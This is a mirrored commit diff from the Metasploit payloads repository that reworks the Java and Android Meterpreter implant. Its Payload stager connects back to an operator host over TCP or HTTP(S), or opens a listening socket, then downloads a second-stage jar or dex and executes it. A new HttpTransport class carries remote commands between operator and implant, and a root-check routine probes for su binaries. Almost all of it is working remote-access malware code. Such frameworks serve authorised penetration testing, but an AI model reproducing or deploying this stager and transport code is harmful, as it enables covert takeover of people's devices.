mirror of
https://github.com/rapid7/metasploit-payloads
synced 2024-11-26 17:41:08 +01:00
Merged java
This commit is contained in:
commit
42b143f92b
@ -56,7 +56,7 @@ http://maven.apache.org/plugins/maven-idea-plugin/
|
||||
|
||||
1. Download the [Android SDK](https://developer.android.com/sdk/index.html), and the [Android NDK](https://developer.android.com/tools/sdk/ndk/index.html) somewhere
|
||||
2. Launch the `sdk/tool/android` program
|
||||
3. Install API version 3, and update the "Android SDK Tools" and "Android SDK Platform-tools"
|
||||
3. Install API version 10, and update the "Android SDK Tools" and "Android SDK Platform-tools"
|
||||
4. Compile android meterpreter:
|
||||
|
||||
```
|
||||
|
@ -26,7 +26,7 @@
|
||||
<plugin>
|
||||
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
|
||||
<artifactId>android-maven-plugin</artifactId>
|
||||
<version>3.5.3</version>
|
||||
<version>3.7.0</version>
|
||||
|
||||
<extensions>true</extensions>
|
||||
</plugin>
|
||||
@ -38,8 +38,8 @@
|
||||
<artifactId>android-maven-plugin</artifactId>
|
||||
<configuration>
|
||||
<sdk>
|
||||
<!-- platform or api level (api level 4 = platform 1.6)-->
|
||||
<platform>3</platform>
|
||||
<!-- platform or api level (api level 10 = platform 2.3)-->
|
||||
<platform>10</platform>
|
||||
</sdk>
|
||||
</configuration>
|
||||
</plugin>
|
||||
|
@ -9,6 +9,7 @@ import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.ServerSocket;
|
||||
import java.net.Socket;
|
||||
import java.net.URL;
|
||||
import java.net.URLConnection;
|
||||
@ -20,11 +21,10 @@ public class Payload {
|
||||
|
||||
public static final String URL = "ZZZZ ";
|
||||
public static final String CERT_HASH = "WWWW ";
|
||||
public static final String LHOST = "XXXX127.0.0.1 ";
|
||||
public static final String LPORT = "YYYY4444 ";
|
||||
public static final String RETRY_TOTAL = "TTTT ";
|
||||
public static final String RETRY_WAIT = "SSSS ";
|
||||
public static final String TIMEOUTS = "TTTT ";
|
||||
|
||||
public static long session_expiry;
|
||||
public static long comm_timeout;
|
||||
public static long retry_total;
|
||||
public static long retry_wait;
|
||||
|
||||
@ -55,63 +55,86 @@ public class Payload {
|
||||
String path = currentDir.getAbsolutePath();
|
||||
parameters = new String[]{path};
|
||||
}
|
||||
int retryTotal;
|
||||
int retryWait;
|
||||
long sessionExpiry;
|
||||
long commTimeout;
|
||||
long retryTotal;
|
||||
long retryWait;
|
||||
String[] timeouts = TIMEOUTS.substring(4).trim().split("-");
|
||||
try {
|
||||
retryTotal = Integer.parseInt(RETRY_TOTAL.substring(4).trim());
|
||||
retryWait = Integer.parseInt(RETRY_WAIT.substring(4).trim());
|
||||
sessionExpiry = Integer.parseInt(timeouts[0]);
|
||||
commTimeout = Integer.parseInt(timeouts[1]);
|
||||
retryTotal = Integer.parseInt(timeouts[2]);
|
||||
retryWait = Integer.parseInt(timeouts[3]);
|
||||
} catch (NumberFormatException e) {
|
||||
return;
|
||||
}
|
||||
|
||||
long payloadStart = System.currentTimeMillis();
|
||||
session_expiry = TimeUnit.SECONDS.toMillis(sessionExpiry) + payloadStart;
|
||||
comm_timeout = TimeUnit.SECONDS.toMillis(commTimeout);
|
||||
retry_total = TimeUnit.SECONDS.toMillis(retryTotal);
|
||||
retry_wait = TimeUnit.SECONDS.toMillis(retryWait);
|
||||
|
||||
while (System.currentTimeMillis() < payloadStart + retry_total) {
|
||||
String url = URL.substring(4).trim();
|
||||
// technically we need to check for session expiry here as well.
|
||||
while (System.currentTimeMillis() < payloadStart + retry_total &&
|
||||
System.currentTimeMillis() < session_expiry) {
|
||||
try {
|
||||
if (URL.substring(4).trim().length() == 0) {
|
||||
reverseTCP();
|
||||
if (url.startsWith("tcp")) {
|
||||
runStagefromTCP(url);
|
||||
} else {
|
||||
reverseHTTP();
|
||||
runStageFromHTTP(url);
|
||||
}
|
||||
return;
|
||||
break;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
try {
|
||||
Thread.sleep(retry_wait);
|
||||
} catch (InterruptedException e) {
|
||||
return;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void reverseHTTP() throws Exception {
|
||||
String lurl = URL.substring(4).trim();
|
||||
private static void runStageFromHTTP(String url) throws Exception {
|
||||
InputStream inStream;
|
||||
if (lurl.startsWith("https")) {
|
||||
URLConnection uc = new URL(lurl).openConnection();
|
||||
if (url.startsWith("https")) {
|
||||
URLConnection uc = new URL(url).openConnection();
|
||||
Class.forName("com.metasploit.stage.PayloadTrustManager").getMethod("useFor", new Class[]{URLConnection.class}).invoke(null, uc);
|
||||
inStream = uc.getInputStream();
|
||||
} else {
|
||||
inStream = new URL(lurl).openStream();
|
||||
inStream = new URL(url).openStream();
|
||||
}
|
||||
OutputStream out = new ByteArrayOutputStream();
|
||||
DataInputStream in = new DataInputStream(inStream);
|
||||
loadStage(in, out, parameters);
|
||||
readAndRunStage(in, out, parameters);
|
||||
}
|
||||
|
||||
private static void reverseTCP() throws Exception {
|
||||
String lhost = LHOST.substring(4).trim();
|
||||
String lport = LPORT.substring(4).trim();
|
||||
Socket msgsock = new Socket(lhost, Integer.parseInt(lport));
|
||||
DataInputStream in = new DataInputStream(msgsock.getInputStream());
|
||||
OutputStream out = new DataOutputStream(msgsock.getOutputStream());
|
||||
loadStage(in, out, parameters);
|
||||
private static void runStagefromTCP(String url) throws Exception {
|
||||
// string is in the format: tcp://host:port
|
||||
String[] parts = url.split(":");
|
||||
int port = Integer.parseInt(parts[2]);
|
||||
String host = parts[1].split("/")[2];
|
||||
Socket sock = null;
|
||||
|
||||
if (host.equals("")) {
|
||||
ServerSocket server = new ServerSocket(port);
|
||||
sock = server.accept();
|
||||
server.close();
|
||||
} else {
|
||||
sock = new Socket(host, port);
|
||||
}
|
||||
|
||||
private static void loadStage(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||
if (sock != null) {
|
||||
sock.setSoTimeout(500);
|
||||
DataInputStream in = new DataInputStream(sock.getInputStream());
|
||||
OutputStream out = new DataOutputStream(sock.getOutputStream());
|
||||
readAndRunStage(in, out, parameters);
|
||||
}
|
||||
}
|
||||
|
||||
private static void readAndRunStage(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||
String path = parameters[0];
|
||||
String filePath = path + File.separatorChar + "payload.jar";
|
||||
String dexPath = path + File.separatorChar + "payload.dex";
|
||||
@ -146,5 +169,6 @@ public class Payload {
|
||||
myClass.getMethod("start",
|
||||
new Class[]{DataInputStream.class, OutputStream.class, String[].class})
|
||||
.invoke(stage, in, out, parameters);
|
||||
System.exit(0);
|
||||
}
|
||||
}
|
||||
|
@ -47,7 +47,7 @@
|
||||
<plugin>
|
||||
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
|
||||
<artifactId>android-maven-plugin</artifactId>
|
||||
<version>3.5.3</version>
|
||||
<version>3.7.0</version>
|
||||
|
||||
<extensions>true</extensions>
|
||||
</plugin>
|
||||
@ -59,8 +59,8 @@
|
||||
<artifactId>android-maven-plugin</artifactId>
|
||||
<configuration>
|
||||
<sdk>
|
||||
<!-- platform or api level (api level 4 = platform 1.6)-->
|
||||
<platform>3</platform>
|
||||
<!-- platform or api level (api level 10 = platform 2.3)-->
|
||||
<platform>10</platform>
|
||||
</sdk>
|
||||
</configuration>
|
||||
</plugin>
|
||||
|
@ -10,7 +10,7 @@ import dalvik.system.DexClassLoader;
|
||||
import javapayload.stage.Stage;
|
||||
|
||||
/**
|
||||
* Meterpreter Java Payload Proxy
|
||||
* Meterpreter Android Payload Proxy
|
||||
*/
|
||||
public class Meterpreter implements Stage {
|
||||
|
||||
|
@ -17,7 +17,7 @@ import com.metasploit.meterpreter.android.webcam_get_frame_android;
|
||||
import com.metasploit.meterpreter.android.webcam_list_android;
|
||||
import com.metasploit.meterpreter.android.webcam_start_android;
|
||||
import com.metasploit.meterpreter.android.webcam_stop_android;
|
||||
import com.metasploit.meterpreter.core.core_transport_set_timeouts;
|
||||
|
||||
import com.metasploit.meterpreter.stdapi.Loader;
|
||||
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_fs_file;
|
||||
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_net_tcp_client;
|
||||
@ -111,7 +111,6 @@ public class AndroidMeterpreter extends Meterpreter {
|
||||
getCommandManager().resetNewCommands();
|
||||
CommandManager mgr = getCommandManager();
|
||||
Loader.cwd = new File(writeableDir);
|
||||
mgr.registerCommand("core_transport_set_timeouts", core_transport_set_timeouts.class);
|
||||
mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class);
|
||||
mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class);
|
||||
mgr.registerCommand("channel_create_stdapi_net_tcp_server", channel_create_stdapi_net_tcp_server.class);
|
||||
|
@ -9,8 +9,8 @@ import com.metasploit.meterpreter.command.Command;
|
||||
public class check_root_android implements Command {
|
||||
|
||||
private static final int TLV_EXTENSIONS = 20000;
|
||||
private static final int TLV_TYPE_CHECK_ROOT_BOOL = TLVPacket.TLV_META_TYPE_BOOL
|
||||
| (TLV_EXTENSIONS + 9019);
|
||||
private static final int TLV_TYPE_CHECK_ROOT_BOOL =
|
||||
TLVPacket.TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019);
|
||||
|
||||
@Override
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request,
|
||||
@ -27,21 +27,29 @@ public class check_root_android implements Command {
|
||||
return true;
|
||||
}
|
||||
|
||||
try {
|
||||
File file = new File("/system/app/Superuser.apk");
|
||||
if (file.exists()) {
|
||||
return true;
|
||||
}
|
||||
|
||||
} catch (Exception e1) {
|
||||
|
||||
}
|
||||
|
||||
return canExecuteCommand("/system/xbin/which su")
|
||||
return fileInstalled("/system/app/SuperSU")
|
||||
|| fileInstalled("/system/app/SuperSU.apk")
|
||||
|| fileInstalled("/system/app/Superuser")
|
||||
|| fileInstalled("/system/app/Superuser.apk")
|
||||
|| fileInstalled("/system/xbin/su")
|
||||
|| fileInstalled("/system/xbin/_su")
|
||||
|| canExecuteCommand("/system/xbin/which su")
|
||||
|| canExecuteCommand("/system/bin/which su")
|
||||
|| canExecuteCommand("which su");
|
||||
}
|
||||
|
||||
private static boolean fileInstalled(String packageName) {
|
||||
boolean installed;
|
||||
try {
|
||||
File file = new File("/system/app/" + packageName);
|
||||
installed = file.exists();
|
||||
} catch (Exception e1){
|
||||
installed = false;
|
||||
}
|
||||
|
||||
return installed;
|
||||
}
|
||||
|
||||
private static boolean canExecuteCommand(String command) {
|
||||
boolean executedSuccesfully;
|
||||
try {
|
||||
|
@ -1,24 +0,0 @@
|
||||
package com.metasploit.meterpreter.core;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
import com.metasploit.stage.Payload;
|
||||
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
public class core_transport_set_timeouts implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
Integer retryTotal = (Integer)request.getValue(TLVType.TLV_TYPE_TRANS_RETRY_TOTAL, null);
|
||||
Integer retryWait = (Integer)request.getValue(TLVType.TLV_TYPE_TRANS_RETRY_WAIT, null);
|
||||
if (retryTotal != null) {
|
||||
Payload.retry_total = TimeUnit.SECONDS.toMillis(retryTotal.intValue());
|
||||
}
|
||||
if (retryWait != null) {
|
||||
Payload.retry_wait = TimeUnit.SECONDS.toMillis(retryWait.intValue());
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -19,6 +19,7 @@ public class DebugLoader {
|
||||
System.out.println("Usage: java com.metasploit.meterpreter.DebugLoader <LHOST> <LPORT> [<RedirectError>]");
|
||||
return;
|
||||
}
|
||||
String url = "tcp://" + args[0] + ":" + args[1];
|
||||
Socket msgsock = new Socket(args[0], Integer.parseInt(args[1]));
|
||||
DataInputStream in = new DataInputStream(msgsock.getInputStream());
|
||||
OutputStream out = new DataOutputStream(msgsock.getOutputStream());
|
||||
|
@ -20,7 +20,8 @@ public class URLDebugLoader {
|
||||
System.out.println("Usage: java com.metasploit.meterpreter.URLDebugLoader <LHOST> <LPORT> [<RedirectError>]");
|
||||
return;
|
||||
}
|
||||
URL initURL = new URL("http://" + args[0] + ":" + args[1] + "/INITJM");
|
||||
String url = "http://" + args[0] + ":" + args[1] + "/INITJM";
|
||||
URL initURL = new URL(url);
|
||||
DataInputStream in = new DataInputStream(initURL.openStream());
|
||||
OutputStream out = new DataOutputStream(new ByteArrayOutputStream());
|
||||
int coreLen = in.readInt();
|
||||
|
@ -1,5 +1,6 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.Vector;
|
||||
@ -40,9 +41,10 @@ public class CommandManager {
|
||||
String javaversion = System.getProperty("java.version");
|
||||
if (javaversion != null && javaversion.length() > 2) {
|
||||
int vmVersion = javaversion.charAt(2) - '2' + ExtensionLoader.V1_2;
|
||||
if (vmVersion >= ExtensionLoader.V1_2 && vmVersion < apiVersion)
|
||||
if (vmVersion >= ExtensionLoader.V1_2 && vmVersion < apiVersion) {
|
||||
apiVersion = vmVersion;
|
||||
}
|
||||
}
|
||||
this.javaVersion = apiVersion;
|
||||
|
||||
// load core commands
|
||||
@ -79,20 +81,27 @@ public class CommandManager {
|
||||
* @param secondVersion Minimum Java version for the second implementation
|
||||
*/
|
||||
public void registerCommand(String command, Class commandClass, int version, int secondVersion) throws Exception {
|
||||
if (secondVersion < version)
|
||||
if (secondVersion < version) {
|
||||
throw new IllegalArgumentException("secondVersion must be larger than version");
|
||||
}
|
||||
|
||||
if (javaVersion < version) {
|
||||
registeredCommands.put(command, new UnsupportedJavaVersionCommand(command, version));
|
||||
return;
|
||||
}
|
||||
if (javaVersion >= secondVersion)
|
||||
|
||||
if (javaVersion >= secondVersion) {
|
||||
version = secondVersion;
|
||||
}
|
||||
|
||||
if (version != ExtensionLoader.V1_2) {
|
||||
commandClass = commandClass.getClassLoader().loadClass(commandClass.getName() + "_V1_" + (version - 10));
|
||||
}
|
||||
|
||||
Command cmd = (Command) commandClass.newInstance();
|
||||
registeredCommands.put(command, cmd);
|
||||
Command x = (Command)registeredCommands.get(command);
|
||||
|
||||
newCommands.add(command);
|
||||
}
|
||||
|
||||
@ -101,11 +110,33 @@ public class CommandManager {
|
||||
*/
|
||||
public Command getCommand(String name) {
|
||||
Command cmd = (Command) registeredCommands.get(name);
|
||||
if (cmd == null)
|
||||
if (cmd == null) {
|
||||
cmd = NotYetImplementedCommand.INSTANCE;
|
||||
}
|
||||
return cmd;
|
||||
}
|
||||
|
||||
public int executeCommand(Meterpreter met, TLVPacket request, TLVPacket response) throws IOException {
|
||||
String method = request.getStringValue(TLVType.TLV_TYPE_METHOD);
|
||||
Command cmd = this.getCommand(method);
|
||||
|
||||
int result;
|
||||
try {
|
||||
result = cmd.execute(met, request, response);
|
||||
} catch (Throwable t) {
|
||||
t.printStackTrace(met.getErrorStream());
|
||||
result = Command.ERROR_FAILURE;
|
||||
}
|
||||
|
||||
if (result == Command.EXIT_DISPATCH) {
|
||||
response.add(TLVType.TLV_TYPE_RESULT, Command.ERROR_SUCCESS);
|
||||
} else {
|
||||
response.add(TLVType.TLV_TYPE_RESULT, result);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* Reset the list of commands loaded by the last core_loadlib call
|
||||
*/
|
||||
|
@ -0,0 +1,300 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.io.EOFException;
|
||||
import java.io.IOException;
|
||||
|
||||
import java.net.MalformedURLException;
|
||||
import java.net.URL;
|
||||
import java.net.URLConnection;
|
||||
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class HttpTransport extends Transport {
|
||||
private static final int UA_LEN = 256;
|
||||
private static final int PROXY_HOST_LEN = 128;
|
||||
private static final int PROXY_USER_LEN = 64;
|
||||
private static final int PROXY_PASS_LEN = 64;
|
||||
private static final int CERT_HASH_LEN = 20;
|
||||
private static final String TRUST_MANAGER = "com.metasploit.meterpreter.PayloadTrustManager";
|
||||
private static final byte[] RECV = new byte[]{'R', 'E', 'C', 'V'};
|
||||
|
||||
private URL targetUrl = null;
|
||||
private URL nextUrl = null;
|
||||
private String userAgent;
|
||||
private String proxy;
|
||||
private String proxyUser;
|
||||
private String proxyPass;
|
||||
private byte[] certHash;
|
||||
|
||||
public HttpTransport(String url) throws MalformedURLException {
|
||||
super(url);
|
||||
|
||||
this.targetUrl = new URL(url);
|
||||
}
|
||||
|
||||
public void bind(DataInputStream in, OutputStream rawOut) {
|
||||
// http, we don't bind to anything as we're stateless
|
||||
}
|
||||
|
||||
public boolean switchUri(String uri) {
|
||||
try {
|
||||
// can't use getAuthority() here thanks to java 1.2. Ugh.
|
||||
String newUrl = this.targetUrl.getProtocol() + "://"
|
||||
+ this.targetUrl.getHost() + ":"
|
||||
+ this.targetUrl.getPort()
|
||||
+ uri;
|
||||
this.nextUrl = new URL(newUrl);
|
||||
return true;
|
||||
}
|
||||
catch (MalformedURLException ex) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public int parseConfig(byte[] configuration, int offset) {
|
||||
offset = this.parseTimeouts(configuration, offset);
|
||||
|
||||
this.proxy = Meterpreter.readString(configuration, offset, PROXY_HOST_LEN);
|
||||
offset += PROXY_HOST_LEN;
|
||||
|
||||
this.proxyUser = Meterpreter.readString(configuration, offset, PROXY_USER_LEN);
|
||||
offset += PROXY_USER_LEN;
|
||||
|
||||
this.proxyPass = Meterpreter.readString(configuration, offset, PROXY_PASS_LEN);
|
||||
offset += PROXY_PASS_LEN;
|
||||
|
||||
this.userAgent = Meterpreter.readString(configuration, offset, UA_LEN);
|
||||
offset += UA_LEN;
|
||||
|
||||
this.certHash = null;
|
||||
byte[] loadedHash = Meterpreter.readBytes(configuration, offset, CERT_HASH_LEN);
|
||||
offset += CERT_HASH_LEN;
|
||||
|
||||
// we only store the cert hash value if it's got a value
|
||||
for (int i = 0; i < loadedHash.length; i++) {
|
||||
if (loadedHash[i] != 0) {
|
||||
this.certHash = loadedHash;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return offset;
|
||||
}
|
||||
|
||||
public String getUserAgent() {
|
||||
return this.userAgent;
|
||||
}
|
||||
|
||||
public void setUserAgent(String userAgent) {
|
||||
this.userAgent = userAgent;
|
||||
}
|
||||
|
||||
public String getProxy() {
|
||||
return this.proxy;
|
||||
}
|
||||
|
||||
public void setProxy(String proxy) {
|
||||
this.proxy = proxy;
|
||||
}
|
||||
|
||||
public String getProxyUser() {
|
||||
return this.proxyUser;
|
||||
}
|
||||
|
||||
public void setProxyUser(String proxyUser) {
|
||||
this.proxyUser = proxyUser;
|
||||
}
|
||||
|
||||
public String getProxyPass() {
|
||||
return this.proxyPass;
|
||||
}
|
||||
|
||||
public void setProxyPass(String proxyPass) {
|
||||
this.proxyPass = proxyPass;
|
||||
}
|
||||
|
||||
public byte[] getCertHash() {
|
||||
return this.certHash;
|
||||
}
|
||||
|
||||
public void setCertHash(byte[] certHash) {
|
||||
this.certHash = certHash;
|
||||
}
|
||||
|
||||
public void disconnect() {
|
||||
}
|
||||
|
||||
protected boolean tryConnect(Meterpreter met) throws IOException {
|
||||
URLConnection conn = this.createConnection();
|
||||
|
||||
if (conn == null) {
|
||||
return false;
|
||||
}
|
||||
|
||||
OutputStream outputStream = conn.getOutputStream();
|
||||
outputStream.write(RECV);
|
||||
outputStream.close();
|
||||
|
||||
DataInputStream inputStream = new DataInputStream(conn.getInputStream());
|
||||
|
||||
try {
|
||||
int len = inputStream.readInt();
|
||||
int type = inputStream.readInt();
|
||||
TLVPacket request = new TLVPacket(inputStream, len - 8);
|
||||
inputStream.close();
|
||||
|
||||
// things are looking good, handle the packet and return true, as this
|
||||
// is the situation that happens on initial connect (not reconnect)
|
||||
TLVPacket response = request.createResponse();
|
||||
int result = met.getCommandManager().executeCommand(met, request, response);
|
||||
this.writePacket(response, TLVPacket.PACKET_TYPE_RESPONSE);
|
||||
|
||||
return true;
|
||||
}
|
||||
catch (EOFException ex) {
|
||||
// this can happens on reconnect
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex) {
|
||||
}
|
||||
|
||||
// we get here, thins aren't good.
|
||||
return false;
|
||||
}
|
||||
|
||||
public TLVPacket readPacket() throws IOException {
|
||||
URLConnection conn = this.createConnection();
|
||||
|
||||
if (conn == null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
OutputStream outputStream = conn.getOutputStream();
|
||||
outputStream.write(RECV);
|
||||
outputStream.close();
|
||||
|
||||
DataInputStream inputStream = new DataInputStream(conn.getInputStream());
|
||||
|
||||
try {
|
||||
int len = inputStream.readInt();
|
||||
int type = inputStream.readInt();
|
||||
TLVPacket request = new TLVPacket(inputStream, len - 8);
|
||||
inputStream.close();
|
||||
return request;
|
||||
}
|
||||
catch (EOFException ex) {
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public void writePacket(TLVPacket packet, int type) throws IOException {
|
||||
URLConnection conn = this.createConnection();
|
||||
|
||||
if (conn == null) {
|
||||
return;
|
||||
}
|
||||
|
||||
byte[] data = packet.toByteArray();
|
||||
DataOutputStream outputStream = new DataOutputStream(conn.getOutputStream());
|
||||
outputStream.writeInt(data.length + 8);
|
||||
outputStream.writeInt(type);
|
||||
outputStream.write(data);
|
||||
outputStream.flush();
|
||||
outputStream.close();
|
||||
|
||||
DataInputStream inputStream = new DataInputStream(conn.getInputStream());
|
||||
|
||||
try {
|
||||
int len = inputStream.readInt();
|
||||
type = inputStream.readInt();
|
||||
// not really worried about the response, we just want to read a packet out of it
|
||||
// and move on
|
||||
new TLVPacket(inputStream, len - 8);
|
||||
inputStream.close();
|
||||
}
|
||||
catch (EOFException ex) {
|
||||
// log error?
|
||||
}
|
||||
}
|
||||
|
||||
public boolean dispatch(Meterpreter met) {
|
||||
long lastPacket = System.currentTimeMillis();
|
||||
long ecount = 0;
|
||||
|
||||
while (!met.hasSessionExpired() &&
|
||||
System.currentTimeMillis() < lastPacket + this.commTimeout) {
|
||||
try {
|
||||
TLVPacket request = this.readPacket();
|
||||
|
||||
if (request != null) {
|
||||
ecount = 0;
|
||||
|
||||
// got a packet, update the timestamp
|
||||
lastPacket = System.currentTimeMillis();
|
||||
|
||||
TLVPacket response = request.createResponse();
|
||||
int result = met.getCommandManager().executeCommand(met, request, response);
|
||||
|
||||
this.writePacket(response, TLVPacket.PACKET_TYPE_RESPONSE);
|
||||
|
||||
if (result == Command.EXIT_DISPATCH) {
|
||||
return true;
|
||||
}
|
||||
} else {
|
||||
long delay = ecount++ * 10;
|
||||
if (ecount >= 10) {
|
||||
delay *= 10;
|
||||
}
|
||||
met.sleep(Math.min(10000, delay));
|
||||
}
|
||||
} catch (Exception ex) {
|
||||
// any other type of exception isn't good.
|
||||
break;
|
||||
}
|
||||
|
||||
// see if we switched URLs along the way, and if we did, move it on over.
|
||||
// This is really only used for stageless payloads (not yet implemented in
|
||||
// msf for this, but we're getting there). The command for this hasn't yet
|
||||
// been wired in.
|
||||
if (this.nextUrl != null) {
|
||||
this.url = this.nextUrl.toString();
|
||||
this.targetUrl = this.nextUrl;
|
||||
this.nextUrl = null;
|
||||
}
|
||||
}
|
||||
|
||||
// if we get here we assume things aren't good.
|
||||
return false;
|
||||
}
|
||||
|
||||
private URLConnection createConnection() {
|
||||
URLConnection conn = null;
|
||||
|
||||
try {
|
||||
conn = this.targetUrl.openConnection();
|
||||
|
||||
if (this.targetUrl.getProtocol().equals("https")) {
|
||||
try {
|
||||
Class.forName(TRUST_MANAGER).getMethod("useFor", new Class[]{URLConnection.class})
|
||||
.invoke(null, new Object[]{conn});
|
||||
}
|
||||
catch (Exception ex) {
|
||||
// perhaps log?
|
||||
}
|
||||
}
|
||||
conn.setDoOutput(true);
|
||||
}
|
||||
catch (IOException ex) {
|
||||
if (conn != null) {
|
||||
conn = null;
|
||||
}
|
||||
}
|
||||
|
||||
return conn;
|
||||
}
|
||||
}
|
||||
|
@ -8,9 +8,11 @@ import java.io.EOFException;
|
||||
import java.io.IOException;
|
||||
import java.io.OutputStream;
|
||||
import java.io.PrintStream;
|
||||
|
||||
import java.net.MalformedURLException;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.net.URLConnection;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.Iterator;
|
||||
import java.util.List;
|
||||
@ -27,13 +29,11 @@ import com.metasploit.meterpreter.core.core_loadlib;
|
||||
*/
|
||||
public class Meterpreter {
|
||||
|
||||
private static final int PACKET_TYPE_REQUEST = 0;
|
||||
private static final int PACKET_TYPE_RESPONSE = 1;
|
||||
public static final int UUID_LEN = 16;
|
||||
public static final int URL_LEN = 512;
|
||||
|
||||
private List/* <Channel> */channels = new ArrayList();
|
||||
private final CommandManager commandManager;
|
||||
private final DataInputStream in;
|
||||
private final DataOutputStream out;
|
||||
private final Random rnd = new Random();
|
||||
private final ByteArrayOutputStream errBuffer;
|
||||
private final PrintStream err;
|
||||
@ -41,6 +41,92 @@ public class Meterpreter {
|
||||
private List/* <byte[]> */tlvQueue = null;
|
||||
|
||||
|
||||
private final TransportList transports = new TransportList();
|
||||
private int ignoreBlocks = 0;
|
||||
private byte[] uuid;
|
||||
private long sessionExpiry;
|
||||
|
||||
|
||||
private void loadConfiguration(DataInputStream in, OutputStream rawOut, byte[] configuration) throws MalformedURLException {
|
||||
// socket handle is 4 bytes, followed by exit func, both of
|
||||
// which we ignore.
|
||||
int csr = 8;
|
||||
|
||||
// We start with the expiry, which is a 32 bit int
|
||||
setExpiry(unpack32(configuration, csr));
|
||||
csr += 4;
|
||||
|
||||
// this is followed with the UUID
|
||||
this.uuid = readBytes(configuration, csr, UUID_LEN);
|
||||
csr += UUID_LEN;
|
||||
|
||||
// here we need to loop through all the given transports, we know that we're
|
||||
// going to get at least one.
|
||||
while (configuration[csr] != '\0') {
|
||||
// read the transport URL
|
||||
String url = readString(configuration, csr, URL_LEN);
|
||||
csr += URL_LEN;
|
||||
|
||||
Transport t = null;
|
||||
if (url.startsWith("tcp")) {
|
||||
t = new TcpTransport(url);
|
||||
} else {
|
||||
t = new HttpTransport(url);
|
||||
}
|
||||
|
||||
csr = t.parseConfig(configuration, csr);
|
||||
if (this.transports.isEmpty()) {
|
||||
t.bind(in, rawOut);
|
||||
}
|
||||
this.transports.add(t);
|
||||
}
|
||||
|
||||
// we don't currently support extensions, so when we reach the end of the
|
||||
// list of transports we just bomb out.
|
||||
}
|
||||
|
||||
public byte[] getUUID() {
|
||||
return this.uuid;
|
||||
}
|
||||
|
||||
public long getExpiry() {
|
||||
return (this.sessionExpiry - System.currentTimeMillis()) / Transport.MS;
|
||||
}
|
||||
|
||||
public int getIgnoreBlocks() {
|
||||
return this.ignoreBlocks;
|
||||
}
|
||||
|
||||
public void setExpiry(long seconds) {
|
||||
this.sessionExpiry = System.currentTimeMillis() + seconds * Transport.MS;
|
||||
}
|
||||
|
||||
public void sleep(long milliseconds) {
|
||||
try {
|
||||
Thread.sleep(milliseconds);
|
||||
} catch (InterruptedException ex) {
|
||||
// ignore
|
||||
}
|
||||
}
|
||||
|
||||
public static String readString(byte[] bytes, int offset, int size) {
|
||||
return new String(readBytes(bytes, offset, size)).trim();
|
||||
}
|
||||
|
||||
public static byte[] readBytes(byte[] bytes, int offset, int size) {
|
||||
byte[] buf = new byte[size];
|
||||
System.arraycopy(bytes, offset, buf, 0, size);
|
||||
return buf;
|
||||
}
|
||||
|
||||
public static int unpack32(byte[] bytes, int offset) {
|
||||
int res = 0;
|
||||
for (int i = 0; i < 4; i++) {
|
||||
res = res | (((int)bytes[i + offset]) & 0xFF) << (i * 8);
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
/**
|
||||
* Initialize the meterpreter.
|
||||
*
|
||||
@ -65,11 +151,23 @@ public class Meterpreter {
|
||||
* @throws Exception
|
||||
*/
|
||||
public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors, boolean beginExecution) throws Exception {
|
||||
|
||||
int configLen = in.readInt();
|
||||
byte[] configBytes = new byte[configLen];
|
||||
in.readFully(configBytes);
|
||||
|
||||
loadConfiguration(in, rawOut, configBytes);
|
||||
|
||||
// after the configuration block is a 32 bit integer that tells us
|
||||
// how many stages were wired into the payload. We need to stash this
|
||||
// because in the case of TCP comms, we need to skip this number of
|
||||
// blocks down the track when we reconnect. We have to store this in
|
||||
// the meterpreter class instead of the TCP comms class though
|
||||
this.ignoreBlocks = in.readInt();
|
||||
|
||||
this.loadExtensions = loadExtensions;
|
||||
this.in = in;
|
||||
this.out = new DataOutputStream(rawOut);
|
||||
commandManager = new CommandManager();
|
||||
channels.add(null); // main communication channel?
|
||||
this.commandManager = new CommandManager();
|
||||
this.channels.add(null); // main communication channel?
|
||||
if (redirectErrors) {
|
||||
errBuffer = new ByteArrayOutputStream();
|
||||
err = new PrintStream(errBuffer);
|
||||
@ -82,21 +180,29 @@ public class Meterpreter {
|
||||
}
|
||||
}
|
||||
|
||||
public TransportList getTransports() {
|
||||
return this.transports;
|
||||
}
|
||||
|
||||
